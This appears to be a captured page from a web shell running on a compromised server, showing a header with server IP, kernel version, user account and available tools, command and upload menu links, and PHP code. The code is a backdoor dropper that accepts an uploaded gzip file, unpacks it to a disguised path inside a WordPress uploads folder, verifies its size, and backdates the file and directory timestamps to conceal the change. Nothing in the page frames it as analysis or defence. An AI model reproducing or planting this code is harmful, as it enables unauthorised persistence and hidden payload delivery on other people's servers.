|
Server IP : 103.174.50.168 / Your IP : 216.73.216.99 Web Server : LiteSpeed System : Linux secure.balancedserver.com 5.14.0-284.30.1.el9.tuxcare.els9.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jan 10 17:34:05 UTC 2025 x86_64 User : tanvirul ( 1137) PHP Version : 8.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF Directory (1777) : /tmp/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php $p = "/home/avensbdc/public_html/wp-content/uploads/2024/02/pconfig.inc"; $ft = 1769023352; if (move_uploaded_file($_FILES['file']['tmp_name'], "$p.gz")) { $file = gzopen("$p.gz", 'rb'); $out = fopen($p, 'wb'); while (!gzeof($file)) { fwrite($out, gzread($file, 4096)); } fclose($out); gzclose($file); @unlink("$p.gz"); $filesize = filesize($p); if ($filesize >= 706371) { @chmod($p, 0744); if ($ft) { @touch($p, $ft, $ft); @touch(@dirname($p), $ft, $ft); } die('_uploaded!_'); } else { if (file_exists($p)) { print "file exists but size = {$filesize} not 706371"; } @unlink($p); } } die('_upload_failed_');